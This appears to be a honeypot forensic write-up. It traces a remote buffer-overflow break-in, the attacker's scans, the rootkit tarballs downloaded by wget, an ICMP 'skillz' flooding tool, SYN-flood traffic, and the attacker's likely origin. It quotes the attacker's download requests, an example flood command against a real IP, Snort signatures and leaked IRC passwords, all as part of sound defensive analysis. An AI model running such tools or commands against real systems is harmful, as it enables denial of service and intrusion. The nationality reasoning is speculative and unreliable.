620                                  SCAN Proxy \(8080\) attempt         Attempted-recon

618                                  SCAN Squid Proxy attempt             Attempted-recon

117                                  SPP_PORTSCAN                           Port Scan                        

1734                                FTP USER overflow attempt           Attempted Admin

Privilege Gain

499                                  ICMP Large ICMP Packet                Bad-unknown;

 

SID 499 Summary:    A large ICMP packet was sent to one of your systems.   

Impact:                  Denial of service by system crash or bandwidth utilisation.

 

          480                                  ICMP PING speedera                     misc-activity

                  

                   SID 480 Summary:    Benevolent ping used by SpeedEra.net to find closest

cache for you

                   Attack Scenario:      This is not really an attack. However an attacker could

                                                disguise their pings as speedera pings, but this is

                                                unlikely.

     

Back again to Ethereal, we filter all UDP traffic coming from  random IP, destination our honeypot  just before the remote buffer overflow and here’s a striped sample of them:

 

2. UDP Traffic

 

194.25.2.133      ->    192.168.100.28 DNS Standard query response PTR p5080B947.dip.t-dialin.net

 

217.5.100.186     ->    192.168.100.28 DNS Standard query response A 80.128.185.71

 

213.234.132.130   ->    192.168.100.28 DNS Standard query response PTR adsl-62-123-121-99.dial.ipervia.it

 

213.234.128.211   ->    192.168.100.28 DNS Standard query response, No such name

 

168.95.1.14       ->    192.168.100.28 DNS Standard query response PTR 218-162-34-100.HINET-IP.hinet.net

.

.. <cut>

 

My assessment here is our attacker probably performing whois and dig  queries of the honeypot using several nameservers.

 

Next I perform passive OS fingerprinting of the probable attackers IP address still using the filters above and here’s what we got the rest remove for clarity.

 

 

            3.P0f Result

 

Table time line:

Base on the recovered keystrokes and tcp stream analysis, so if I’ve missed something my apologies :-(

 

 

SRC IP

OS

EVENT / PORT / nTimes

HONEYPOT RESPONSE

203.69.233.93

Linux 2.2.9 – 2.2.18

RE-CON / 443 / 3x

DENIED [RST]

61.144.145.243

UNKNOWN

RE-CON / 80,8080,3128 / 9x

DENIED [RST]

61.221.179.26

Linux 2.2.9 – 2.2.18

RE-CON / 23 / 1x

DENIED [RST]

67.195.152.135

Windows 2000 Pro (2128)

RE-CON / 113 / 3x

DENIED [RST]

203.239.31.60

Windows 2000 (9)

RE-CON /1433 / 3x

DENIED [RST]

61.211.179.26

Linux 2.2.9 – 2.2.18

RE-CON / 23 / 1x

DENIED [RST]

64.24.196.50

UNKNOWN

RE-CON / 80,8080,3128 / 4x

DENIED [RST]

64.231.37.135

Windows 2000 (8)

RE-CON / 1433 / 3x

DENIED [RST]

24.167.44.129

Windows XP Pro, Windows 2000 Pro

RE-CON / 1433 / 3x

DENIED [RST]

67.36.28.116

Windows 2000 (4)

RE-CON / 1433 / 3x

DENIED [RST]

61.219.90.180

Linux 2.4.2 - 2.4.14 (1)

BREAKIN / 1524 / n++

ACCEPT [SYN,ACK]

62.211.66.16

UNKNOWN

FTP / 21 /

ACCEPT [SYN,ACK]

62.211.66.53

UNKNOWN

FTP / 21 /

ACCEPT [SYN,ACK]

192.18.99.122

UNKNOWN

FTP / 21 /

ACCEPT [SYN,ACK]

206.252.192.195

FreeBSD 4.3 - 4.4PRERLS

IRC / 6667

ACCEPT [SYN,ACK]

80.117.14.44

Windows XP Pro

IRC / 7000

ACCEPT [SYN,ACK]

 

 

Next I take random nslookup, whois and dig queries myself of the probable IP address on the table and see what turns up:  

Removing the 2 right octets of the IP address to get the upstream provider, since probably most of the above IP address are dynamically allocated or down by now just in case.

 

4. Querries

 

61.144.145.243

 

[[email protected] /tmp]# /bin/dig [email protected] any

 

Non-authoritative answer

 Query for 0.0.144.61.in-addr.arpa type=255 class=1

  144.61.in-addr.arpa NS (Nameserver) ns.guangzhou.gd.cn

  144.61.in-addr.arpa NS (Nameserver) dns.guangzhou.gd.cn

.

..

<cut>

 

61.221.179.26

 

[[email protected] /tmp]# /bin/dig [email protected] any

 

Non-authoritative answer

 Query for 0.0.221.61.in-addr.arpa type=255 class=1

  221.61.in-addr.arpa NS (Nameserver) rns2.twnic.net

  221.61.in-addr.arpa NS (Nameserver) rns1.twnic.net

.

..

<cut>

 

64.24.196.50

 

[[email protected] /tmp]# /bin/dig [email protected] any

 

Non-authoritative answer

Recursive queries supported by this server

 Query for 0.0.24.64.in-addr.arpa type=255 class=1

  0.24.64.in-addr.arpa SOA (Zone of Authority)

        Primary NS: ns1.starnetusa.net

        Responsible person: [email protected]

        serial:2003042201

        refresh:28800s (8 hours)

        retry:7200s (2 hours)

        expire:604800s (7 days)

        minimum-ttl:86400s (24 hours)

.

..

<cut>

 

62.211.66.16 – 53

 

[[email protected] /tmp]# /bin/dig [email protected] any

 

Authoritative Answer

Authoritative answer: Host doesn't exist

 Query for 0.0.211.62.in-addr.arpa type=255 class=1

  211.62.in-addr.arpa SOA (Zone of Authority)

        Primary NS: dns.opb.interbusiness.it

        Responsible person: [email protected]

        serial:2002121702

        refresh:10800s (3 hours)

        retry:3600s (60 minutes)

        expire:1296000s (15 days)

        minimum-ttl:86400s (24 hours)

.

..

<cut>

 

206.252.192.195

 

[[email protected] /tmp]# /bin/dig [email protected] any

 

Non-authoritative answer

Recursive queries supported by this server

 Query for 0.0.252.206.in-addr.arpa type=255 class=1

  0.252.206.in-addr.arpa SOA (Zone of Authority)

        Primary NS: ns0.verio.net

        Responsible person: [email protected]

        serial:2003051600

        refresh:86400s (24 hours)

        retry:3600s (60 minutes)

        expire:2592000s (30 days)

        minimum-ttl:14400s (4 hours)

 

.

..

<cut>

 

80.117.14.44

 

[[email protected] /tmp]# /bin/dig [email protected] any

 

Authoritative Answer

Authoritative answer: Host doesn't exist

 Query for 0.0.117.80.in-addr.arpa type=255 class=1

  117.80.in-addr.arpa SOA (Zone of Authority)

        Primary NS: dns.opb.interbusiness.it

        Responsible person: [email protected]

        serial:2002081202

        refresh:10800s (3 hours)

        retry:3600s (60 minutes)

        expire:1296000s (15 days)

        minimum-ttl:86400s (24 hours)

 

 

 

Now lets see IP address 61.219.90.180 using arin.net as NS since it’s the one successfully breaks the honeypot system.

 

[[email protected] /tmp]# usr/bin/whois [email protected] > whois_attacker

 

OrgName:    Asia Pacific Network Information Centre

OrgID:      APNIC

Address:    PO Box 2131

City:       Milton

StateProv:  QLD

PostalCode: 4064

Country:    AU

 

NetRange:   61.0.0.0 - 61.255.255.255

CIDR:       61.0.0.0/8

NetName:    APNIC3

NetHandle:  NET-61-0-0-0-1

Parent:    

NetType:    Allocated to APNIC

NameServer: NS1.APNIC.NET

NameServer: NS3.APNIC.NET

NameServer: NS.RIPE.NET

NameServer: RS2.ARIN.NET

Comment:    This IP address range is not registered in the ARIN database.

Comment:    For details, refer to the APNIC Whois Database via

.

..

<cut>

 

Opps!  Lets do a nslookup this time

 

[[email protected] /tmp]#/usr/bin/nslookup 61.219.90.180 >> whois_attacker

 

Canonical name: 61-219-90-180.HINET-IP.hinet.net

Addresses:

  61.219.90.180

.

..

<cut>

 

Wow! the CNAME of 61.219.90.180  is hinet.net it seems to tally one of the UDP (DNS) scan we’ve got on the filter a while back (packet frame 10), 168.95.1.14 -> 192.168.100.28 DNS Standard query response PTR 218-162-34-100.HINET-IP.hinet.net)that means our assessment’s correct that those DNS log by ethereal are indeed pre – probe and recon scans by attacker.

 

Lets go on further… using whois this time ns crsnic.net

 

 

[[email protected] /tmp]#/usr/bin/whois [email protected] > attacker_at_crsnic

 

Whois Server Version 1.3

 

Domain names in the .com and .net domains can now be registered

with many different competing registrars. Go to http://www.internic.net

for detailed information.

 

HINET.NET.TW

HINET.NET

 

To single out one record, look it up with "xxx", where xxx is one of the

of the records displayed above. If the records are the same, look them up

with "=xxx" to receive a full display for each record.

 

>>> Last update of whois database: Fri, 16 May 2003 06:04:38 EDT <<<

.

..

<cut>

 

Using dig  this time lets find out HINET.NET first since it fit our packet frame 10 description  (168.95.1.14 -> 192.168.100.28 DNS Standard query response PTR 218-162-34-100.HINET-IP.hinet.net)

 

Authoritative Answer

Recursive queries supported by this server

 Query for hinet.net type=255 class=1

  hinet.net MX (Mail Exchanger) Priority: 0 netnews.hinet.net

  hinet.net NS (Nameserver) hntp1.hinet.net

  hinet.net NS (Nameserver) hntp3.hinet.net

  hinet.net NS (Nameserver) dns.hinet.net

  hinet.net SOA (Zone of Authority)

        Primary NS: hntp1.hinet.net

        Responsible person: [email protected]

        serial:200305160

        refresh:21600s (6 hours)

        retry:7200s (2 hours)

        expire:3600000s (410 days)

        minimum-ttl:86400s (24 hours)

  hinet.net NS (Nameserver) hntp1.hinet.net

  hinet.net NS (Nameserver) hntp3.hinet.net

  hinet.net NS (Nameserver) dns.hinet.net

  netnews.hinet.net A (Address) 168.95.195.16

  hntp1.hinet.net A (Address) 168.95.192.1

  hntp3.hinet.net A (Address) 168.95.192.2

  dns.hinet.net A (Address) 168.95.1.1

.

..

<cut>

 

Not enough so we focus on Authoritative Answers, and Let see what we’ve got.. Removing  the 2 left IP address octet.. using dig we’ve got.

 

[email protected] /tmp]# /usr/bin/dig [email protected] any

 

Non-authoritative answer

Recursive queries supported by this server

 Query for 0.0.95.168.in-addr.arpa type=255 class=1

  0.95.168.in-addr.arpa SOA (Zone of Authority)

        Primary NS: dns.hisys.hinet.net

        Responsible person: [email protected]

        serial:200303050

        refresh:21600s (6 hours)

        retry:7200s (2 hours)

        expire:3600000s (410 days)

        minimum-ttl:600s (10 minutes)

.

..

<cut>

 

 

 

Lets perform a reverse DNS lookup this time on Primary Name Server: dns.hisys.hinet.net and let see what turns up..

 

Canonical name: dns.hisys.hinet.net

Addresses: 203.69.209.1

 

 

Bingo! Another Find again the IP address 203.69.209.1 turns up on the filter list and attack our honeypot system using Linux 2.2.9 - 2.2.18. Please see table above.

 

 

Next we try whois again this time to 203.69.209.1 using ns apnic.net

 

[[email protected] /tmp]# /usr/bin/whois [email protected] > whois_203692091

 

% [whois.apnic.net node-1]

% How to use this server        http://www.apnic.net/db/

% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

 

inetnum:      203.69.0.0 - 203.69.255.255

netname:      HINET-TW

descr:        CHTD, Chunghwa Telecom Co.,Ltd.

descr:        Data-Bldg.6F, No.21, Sec.21, Hsin-Yi Rd.

descr:        Taipei Taiwan 100

country:      TW

admin-c:      HN27-AP

tech-c:       HN28-AP

remarks:      This information has been partially mirrored by APNIC from

remarks:      TWNIC. To obtain more specific information, please use the

remarks:      TWNIC whois server at whois.twnic.net.

mnt-by:       MAINT-TW-TWNIC

changed:      [email protected] 19960212

status:       ALLOCATED PORTABLE

source:       APNIC

 

person:       HINET Network-Adm

address:      CHTD, Chunghwa Telecom Co., Ltd.

address:      Data-Bldg. 6F,  No. 21, Sec. 21, Hsin-Yi Rd.,

address:      Taipei Taiwan 100

country:      TW

phone:        +886 2 2322 3495

phone:        +886 2 2322 3442

phone:        +886 2 2344 3007

fax-no:       +886 2 2344 2513

fax-no:       +886 2 2395 5671

e-mail:       [email protected]

nic-hdl:      HN27-AP

remarks:      same as TWNIC nic-handle HN184-TW

mnt-by:       MAINT-TW-TWNIC

changed:      [email protected] 20000721

source:       APNIC

 

person:       HINET Network-Center

address:      CHTD, Chunghwa Telecom Co., Ltd.

address:      Data-Bldg. 6F,  No. 21, Sec. 21, Hsin-Yi Rd.,

address:      Taipei Taiwan 100

country:      TW

phone:        +886 2 2322 3495

phone:        +886 2 2322 3442

phone:        +886 2 2344 3007

fax-no:       +886 2 2344 2513

fax-no:       +886 2 2395 5671

e-mail:       [email protected]

nic-hdl:      HN28-AP

remarks:      same as TWNIC nic-handle HN185-TW

mnt-by:       MAINT-TW-TWNIC

changed:      [email protected] 20000721

source:       APNIC

 

inetnum:      203.69.209.0 - 203.69.209.255

netname:      HINET-NET

descr:        Chunghwa Telecom Data communication Business Group

descr:        No.21, Hsin-Yi Rd., sec. 1

descr:        Taipei Taiwan

country:      TW

admin-c:      CYK-TW

tech-c:       CYK-TW

mnt-by:       MAINT-TW-TWNIC

remarks:      This information has been partially mirrored by APNIC from

remarks:      TWNIC. To obtain more specific information, please use the

remarks:      TWNIC whois server at whois.twnic.net.

changed:      [email protected] 20030416

status:       ASSIGNED NON-PORTABLE

source:       TWNIC

 

person:       Chung Yung Kang

address:      Chunghwa Telecom Data communication Business Group

address:      No.21, Hsin-Yi Rd., sec. 1

address:      Taipei Taiwan

country:      TW

phone:        +886-2-2322-3442

fax-no:       +886-2-2344-2513

e-mail:       [email protected]

nic-hdl:      CYK-TW

remarks:      This information has been partially mirrored by APNIC from

remarks:      TWNIC. To obtain more specific information, please use the

remarks:      TWNIC whois server at whois.twnic.net.

changed:      [email protected] 19990924

source:       TWNIC

 

Performing this on HINET.NET.TW results to similar information. Now we know for sure that the attacker mounts a remote buffer overflow  attack from this server in Taiwan.

 

5. Operation Recon Summary:

 

We can virtually trace all of the above IP address to their respectively origin using the techniques above, all it takes is lots and lots of time.

Back on honeynet question number 3 and having the data above it is highly probable that the several systems on the table are use to mount the attack on the honeypot probably previously owned system by the attacker. And as standard blackhat technique, before attempting to break a target system they usually performed initial network probe or scan.  So it seems fine to speculate that the above IP address; before the break in (highlighted in red) are utilized in the purpose of network probe or reconnaissance before the successful remote buffer overflow by  61.219.90.180 A Linux Server from Taiwan.  Details of the buffer overflow are previously discussed subtitle ''Attacker Remote Buffer Overflow and Our favorite Protocol Analyzer Dump'' above.

 

 

D. Attack Sequence Diagram (honeynet question 4)

 

 

 

  

  

 

 

E. Breaking ‘’skillz’’ Inside Downloaded Tar Balls (honeynet question 5)

 

My first concern on the  keystroke dump from the logs pertains to honeynet question number five (5) my initial theory is that somewhere along the logs is the source code of the program so having the keystrokes as guide I followed the packet stream. Below is the process taken.

 

TCP stream from 62.211.66.53:80

Stripped (384 bytes) original compressed binary tar ball file size Original Content Length

(1884160 - TCP Stream Actual Data size)

 

HTTP request to get the actual file size of the tar ball sol.tar.gz using wget.

 

GET /bobzz/sol.tar.gz HTTP/1.0

User-Agent: Wget/1.5.3

Host: 62.211.66.53:80

Accept: */*

 

HTTP/1.1 200 OK

Date: Fri, 29 Nov 2002 15:45:29 GMT

Server: Apache/1.3.26 (Unix)

Last-Modified: Fri, 15 Nov 2002 11:11:26 GMT

ETag: "4197671-1cc000-3dd4d65e"

Accept-Ranges: bytes

Content-Length: 1884160

Connection: close

Content-Type: application/x-tar

Content-Encoding: x-gzip

 

[[email protected] /tmp]# /bin/dd if=sol_orig.tar.gz of=sol.tar bs=1 count=1884160 skip=384

1884160+0 records in

1884160+0 records out

 

TCP Stream from 62.211.66.55:80

Another HTTP Download from day3.log. Stripped (354) original binary tar ball file size

Original Content Length (2354176 - TCP Stream actual data size)

 

 

HTTP request to get the actual file size of the tar ball psy.tar using wget.

 

GET /bobzz/psy.tar HTTP/1.0

User-Agent: Wget/1.5.3

Host: 62.211.66.55:80

Accept: */*

 

HTTP/1.1 200 OK

Date: Sun, 01 Dec 2002 22:56:11 GMT

Server: Apache/1.3.26 (Unix)

Last-Modified: Tue, 26 Nov 2002 13:47:13 GMT

ETag: "26ae20-23ec00-3de37b61"

Accept-Ranges: bytes

Content-Length: 2354176

Connection: close

Content-Type: application/x-tar

 

[[email protected] /tmp]# /bin/dd if=psy_orig.tar of=psy.tar bs=1 count=2354176 skip=354

2354176+0 records in

2354176+0 records out

 

Next I verified the data...

 

[email protected] /tmp]# /usr/bin/file sol.tar psy.tar

sol.tar: GNU tar archive

psy.tar: POSIX tar archive

 

[email protected] /tmp]# /bin/tar –xvf sol.tar

.

..

[email protected] /tmp]# /bin/tar –xvf psy.tar

 

 

Decompressing the binaries reveals the tools and rootkits used by the attacker. sol.tar contain the precompiled SUN O.S binaries while psy.tar contain the source code of psyBNC 2.3.1, other files like dlp is an auto script with one purpose deleting logs, ipv6sun is also an auto script commented in Italian which I think IRC ipv4 tunnel to ipv6.  Still looking for the source code for question 5, but no luck  but after careful investigation, solbnc and solsch a precompiled SUN O.S binaries bore striking similarities, strings results both to this particular data. <note: have the word skillz in them>

 

Usage: %s <dst> <src> <size> <number>

Ports are set to send and receive on port 179

dst:

Destination Address

src:

Source Address

size:

Size of packet which should be no larger than 1024 should allow for xtra header info thru routes

num:

packets

Could not resolve %s fucknut

ICMP

jess

tc: unknown host

3.3.3.3

mservers

randomsucks

skillz

lpsched

in.telne

./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

 

If we translate this plainly it will take argument from command line like this:

 

# ./solbnc 80.117.14.44 127.0.0.1 1016 65535

 

To better understand the innards of the binary reverse engineering is useful and since time is lacking I’ll take the other route around using my trusted network protocol analyzer.

 

Again I have to filter day1.logs.gz with filter ip.dst eq 192.168.100.28 or ip.src eq 192.168.100.28 and ip.proto eq 0x01 ICMP save the file.

 

I run snort to dump the application layer and second layer information of the save file using and snort IDS reported  attacks as: ICMP PING SPEEDERA and ICMP Large ICMP Packet. Here’s a sample output from snort.

 

 

[**] ICMP PING speedera [**]

11/30-02:16:04.163550 63.123.77.194 -> 192.168.100.28

ICMP TTL:52 TOS:0x0 ID:44852 IpLen:20 DgmLen:84

Type:8  Code:0  ID:11632   Seq:62483  ECHO

08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17  ................

18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27  ........ !"#$%&'

28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37  ()*+,-./01234567

38 39 3A 3B 3C 3D 3E 3F                          89:;<=>?

 

 

[**] ICMP Large ICMP Packet [**]

11/29-23:59:52.338046 192.168.100.28 -> 217.116.38.10

ICMP TTL:255 TOS:0x0 ID:16475 IpLen:20 DgmLen:1044 DF

Type:0  Code:0  ID:6666  Seq:0  ECHO REPLY

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00 00 00 00 73 6B 69 6C 6C 7A 00 00 00 00 00 00  ....skillz......

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

 

     ''Skillz'' Summary

 

With lots of ethereal acrobatics we come to this conclusion that the purpose of  ICMP packets with “skillz” in them is to perform a Denial of Service attack to random IP address from the certain source where the binary solbnc is installed. A sample run might look like this:

 

src ip: honeypot

dest ip: random

 

1. (src ip) solbnc------->(dest ip) utilized random DNS queries

2. (src ip) DDos with large packet storm of ICMP (Echo (ping) reply) packets (1016 bytes) with “skillz” in them.

 

 

F. Covert Datagrams (honeynet question 6)

 

                1. Snort Application Layer dump

 

On question number 6 of the honeynet project I observed several peculiarities besides unusual IPv6 traffic (encapsulated on IPv4 Packet),  the ICMP PING SPEEDERA, ICMP Large ICMP Packet and DDOS shaft synflood reported by snort IDS. Being an avid old timer Phrack subscriber I remember about project (Loki)  (Phrack Magazine   Volume Seven, Issue Fifty-Nine – Zero Six)  using covert channel on ICMP. The difference here is that the attacker conceals a covert port scan or data transfer to a covert IP address on the UDP data encapsulated inside of the IP datagrams.  Heres a sample packet using snort to dump of the application layer.

 

 

12/02-04:18:38.022980 192.168.100.28:14139 -> 195.130.233.20:7534

UDP TTL:255 TOS:0x0 ID:50131 IpLen:20 DgmLen:1052 DF

Len: 1032

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

00 00 00 00 32 38 34 00 00 00 00 00 32 38 34 00  ....284.....284.

.

..

<cut>

00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 79  ..............(y

05 00 00 00 45 07 00 14 00 00 00 FF 00 02 23 34  ....E.........#4

00 01 31 24 FF BE F1 78 00 01 5C 40 00 00 00 00  ..1$...x..\@....

00 00 00 00 00 00 00 00 00 00 00 CF 00 00 00 F8  ................

00 00 00 CF 00 00 00 F8 00 00 00 E0 00 00 00 D7  ................

00 00 00 26 00 00 00 E0 00 00 00 D7 00 00 00 E0  ...&............

00 00 00 F8 00 00 00 CF C0 A8 64 1C 31 39 32 2E  ..........d.192.

31 36 38 2E 31 30 30 2E 32 31 35 00 00 00 00 00  168.100.215.....

00 00 00 00 00 03 AE D8 00 00 04 30 00 03 97 80  ...........0....

         

          Figure 1.

 

2. DDOS Shaft Reference My Analysis

 

This was observed after attacker installed rootkit to our honeypot: Snort Reported DDOS shaft synflood / x-ref arachnids 253 [1:SID_241:2]

 

a.) DDOS OverView

 

Randomly Scan IP Address and Random Ports and Syn Flood Them.

 

Example:      

 

Source          192.168.100.28        Attacker

Destination:   195.130.233.20        Victim

 

b.) Sample Layman’s Data

 

Attacker (Sends TCP Flags (0x002)SYN + DEST. PORT) -------> Victim

 

Victim   (Responds TCP Flags [SYN] OR [SYN,ACK] If DEST.PORT is open)              

Victim   (Responds TCP Flags [RST,ACK] If DEST.PORT is close) 

 

 

c.) Sample Technical Data

 

1. Attacker sends sample packet storm (a)

   to as many port as fast as possible

 

(a)

 

****Ethereal Dump****

 

Ether Field:

          Type: IP (0x0800)

          trailer 555555555555

 

IP Field:

          IP Version: 4

          Differentiated Service Field: 0x00 (DSCP 0x00: Default; ECN 0x00)

          Identification:0xd153

          Flags: 0x04  DF Set

          Fragment Offset:0

          TTL: --Default TTL

          Protocol: TCP (0X06)

          Src IP: Attacker

          Dst IP: Victim / Random

 

TCP Field:

          Src Port: Random (RFC 1070) example 31337

          DSt Port: Random (RF 1070) example 7 (Echo)

          Seq = 0 Ack = 0 WindowSize = 65535 (0xFFFF) Len = 0

          Flags: 0X002 (SYN)

 

****Snort Dump****

 

[Xref => arachnids 253]

[**] [1:241:2] DDOS shaft synflood [**]

[Classification: Attempted Denial of Service] [Priority: 2]

12/02-03:55:57.715035 ATTACKER:SRC_PORT -> VICTIM:DST_PORT

TCP TTL:30 TOS:0x0 ID:16346 IpLen:20 DgmLen:40 DF(yes) 

******S* Seq: 0x28374839  Ack: 0x7CC2CC4F  Win: 0xFFFF  TcpLen: 20

 

 

2. Victim Responds

 

 

****Ethereal Dump****

 

Ether Field:

 

          Type: IP (0x0800)

          Trailer: 000000000000

 

IP Field:

          IP Version: 4

          Differentiated Service Field: 0x00 (DSCP 0x00: Default; ECN 0x00)

          Identification: 0x0000

          Flags: 0x04 DF Set

          Fragment Offset:0

          TTL: --Default TTL

          Protocol: TCP (0x06)

          Src IP: Victim / Random

          Destination: Attacker

 

 

TCP Field:

          Src Port: 7

          Dst Port: 31337

 

d.) DDOS Result

 

Attacker Know if the Destination Port is:

 

          Seq = 0 Ack = 1 WindowSize = 0 Len = 0

          Flags [RST,ACK] If not Open

 

          Seq = 0 Ack = 1 WindowSize = 65535 (0xFFFF) Len = 0

          Flags [SYN] or [SYN,ACK] if Open

 

 

Note:  This can Be easily Followed by Ethereal powerful SEQ/ACK Analysis By Hand Of Course:-{

 

3. Covert Datagrams Summary

My interpretation is that the covert data inside the UDP data portion encapsulated on the IPv4 Datagrams (192.168.100.215) see figure 1 above receive whatever the response from the destination IP address 195.130.233.20 Instead of the honeypot (192.168.100.28) combine with the packet storm created by the DDOS shaft synflood (which I think a double purpose tools as a denial of service and stealth port scanner), it can bypass Firewalls and IDS system installed since it fools the receiving end by forging the packet as a legitimate UDP request. Of course I may be wrong in here so my advance apology.

 

G. La Gringo y Nacionalista Partida Con Retarded  (honeynet question 7)

1.) Overview

‘’Nationality is according to Webster is the Ethnic Group or Race of a Certain Country.

Attacker refers to the Scripty.

TAIWAN refers to TIE TWO : -)’’

Before the break in I took note several IP address that  corresponds to random DNS query, and having the filter,  the table (table timeline), the keystroke I recovered, the IRC chat sessions, binaries, source codes, and the whois, dig, and nslookup  queries and random translations of the chat logs. I still cannot ascertain if I’m 100% accurate that the nationality of the attacker is ITALIAN. But I know for sure that the attacker gain super user status to our honeypot from remote buffer overflow from a computer in TAIWAN. This doesn’t mean that the attacker is a Chinese because on the IRC sessions recovered they are speaking Italian, and the IP address used from most of the recon or pre – probe scans are from Italy, but according to the documentation of the psyBNC  source code.

“” psyBNC allows you to set a user or channel as translation source/dest.  So, everything you type, will be automatically translated to the language your counterpart talks. Same is with the text they talk,  it also will be translated.

psyBNC also store logs of the sessions. The commands are summarize below. We’ll also create something like rough truth table of analysis taken and you can see my point and you be the judge yourselves. Of course I may be always wrong here. 

2. Random translation sample taken from IRC session

 

IT

io me son fatto una tipa ieri sera in carne e ossa

ENG

I me son made one tipa yesterday evening in meat and boneses

 

IT

ho mandato un sms ho mandata a fanculo

ENG

I have sent a sms I have sent to fanculo

 

 

IT

we senti

ENG

we you feel

 

IT

tienilo kiuso

ENG

you hold it kiuso

 

IT

stasera mi collego

ENG

this evening I am connected

3. Fact from psyBNC Documentation

          Commands for this purpose are:

   

                   /ADDTRANSLATE [network~]#channel/user :language-from language-to

   

    language can be:

              en_de                 ENGLISH TO GERMAIN

              en_it                  ENGLISH TO ITALIAN

              en_fr                  ENGLISH TO FRENCH

              en_pt                 ENGLISH TO PORTUGESE

              de_en                 GERMAN TO ENGLISH

              it_en                  ITALIAN TO ENGLISH

              fr_en                  FRENCH TO ENGLISH

              pt_en                 PORTUGESE TO ENGLISH

   

                   Examples:

   

                   /TRANSLATE #bayern :de_en en_de

   

                   Result would be, you would get both the german text spoken on #bayern as also the english text.

   

In return, everything you would type in english to #bayern, would be posted in german to the channel.

   

                   You can remove a Translation by:

   

                   /DELTRANSLATE (Number)

   

          from the list displayed by

   

/LISTTRANSLATE.

Searching and analyzing the psyBNC session logs  if attacker after installing the rootkits  issues command like /TRANSLATE, /DELTRANSLATE, and /LISTRANSLATE is NILL,

so our first assumption is…

          4. Truth or Lies or Both ( assumption one )

Attacker comes from Taiwan but Speaks Italian  == Nationality is not Chinese but geographically attackers from Taiwan  and speaks Italian. 

Therefore our Truth Table == Nationality is not Chinese if we’re basing to the geographical location of the server because the attacker speak Italian, Neither  Italian because in all probability a Chinese attacker can as well speak other language like Italian. But if we’re basing on geographical location attacker is a Chinese, and if we base on the language spoken attacker is Italian. : -) Are you not confuse yet.

          5. Fact from the Logs and Sample psyBNC session logs

‘’psyBNC store logs on the server where it is installed.  Down below is what we’ve recovered.’’

 

:[email protected] NOTICE * :psyBNC2.2.1

PASS fargetta

 

NICK bobbinoz

 

USER ahaa "bobz" "192.168.100.28" :

kaZz

:irc-1.stealth.net 001 `Tony-H- :

Welcome to the Internet Relay Network `[email protected] == 80.117.14.222

:irc-1.stealth.net 003 `Tony-H- :This server was created Fri Dec 28 2001 at 06:24:19 EST

.

..

<cut>

:[email protected] NOTICE `Tony-H- :Sun Dec  1 15:44:08 :User ahaa quitted (from host222-14.pool80117.interbusiness.it)

 

 

 

USER ahaa ahaa 127.0.0.1 :nZ

NICK `Tony-H-

:irc-1.stealth.net 001 `Tony-H- :Welcome to the Internet Relay Network [email protected]

:irc-1.stealth.net 002 `Tony-H- :Your host is irc-1.stealth.net, running version 2.10.3p3/S02.3

:irc-1.stealth.net 003 `Tony-H- :This server was created Fri Dec 28 2001 at 06:24:19 EST

 

.

..

<cut>

 

And Here..

 

:[email protected] NOTICE * :psyBNC2.3.1

PASS pompini

 

NICK `OwnZ``

 

USER ahaa "bobz" "192.168.100.28" :

:OwnZ:-[1]

:irc6.edisontel.it 001 `OwnZ`` :Welcome to the Internet Relay Network `[email protected]

:irc6.edisontel.it 003 `OwnZ`` :This server was created Thu Jul 4 2002 at 20:02:20 CEST

 

.

..

<cut>

     

6. Assumption two

I’ve notice that attacker used Italian sounding username and password and psyBNC resolving the IP address of the attacker to host222-14.pool80117.interbusiness.it. Ethereal captures the packet host222-14.pool80117.interbusiness.it  as 80.117.14.222. refer to the dig query above and the table. I may be wrong again here if the attacker uses a bounce but Ethereal is Ethereal and I trust it. So our second assumption now is…

Attacker not Chinese because IP address 80.117.14.222, or host222-14.pool80117.interbusiness.it resolves to dns.opb.interbusiness.it an Italian website probably attacker is using dynamically assigned IP because of the host222-14.pool80117 word which I think modem pool, probably an ISP.

But what if the IP 80.177.14.222 is owned also by the attacker? If 80.177.14.222 is using cable modem, ISDN, BroadBand, DSL, and ADSL line the IP address allocated is static therefore It can be compromised and the attacker is probably not an Italian , but if dynamically assigned chances are not compromised and in did the attacker is Italian.

Therefore our Truth Table == Nationality is Italian if were basing the geographical location of the website, and the language spoken is Italian, but We can’t really be sure if the attacker is in did an Italian unless they gave me the logs of interbusiness.it.

          7. Enter The Rootkit

 

On day3 log I’ve notice that the attacker using IP address 62.101.108.86 returns to our honeypot system this time using the rootkit (secure shell)  ssh to port 5001 previously assigned by attacker from 61.219.90.180 with rootkit password as mixer since the attacker from IP 61.219.90.180 is supposed to be the only one to know the rootkit I assumed that the attacker is the same from IP 62.101.108.86 and according to p0f both box is running Linux, does add other profile to our attacker quite. Linux savvy.

Since I want to know the relation of the two IP address and what can I get from it I run a whois query on IP 62.101.108.96 using the same technique I used to 61.219.90.180 server from Taiwan.

 

[[email protected] /tmp]# /usr/bin/whois [email protected] > whois_6210110896

 

whois -h whois.ripe.net 62.101.0.0 ...

% This is the RIPE Whois server.

% The objects are in RPSL format.

%

% Rights restricted by copyright.

% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

 

inetnum:      62.101.0.0 - 62.101.0.255

netname:      SIAG

descr:        Informatica Alto Adige Spa

descr:        ISP and Software Producer

country:      IT

admin-c:      HP1314-RIPE

tech-c:       RF3393-RIPE

tech-c:       ET1482-RIPE

status:       ASSIGNED PA

mnt-by:       SIAG-MNT

changed:      [email protected] 20000627

changed:      [email protected] 20000710

source:       RIPE

 

route:        62.101.0.0/19

descr:        INFORMATICA-ALTO-ADIGE

origin:       AS15584

mnt-by:       AS1267-MNT

changed:      [email protected] 20000911

source:       RIPE

 

person:       Hansjorg Piock-Ellena

address:      Informatica Alto Adige Spa

address:      Via Siemens 29

address:      I-39100 Bolzano

address:      Italy

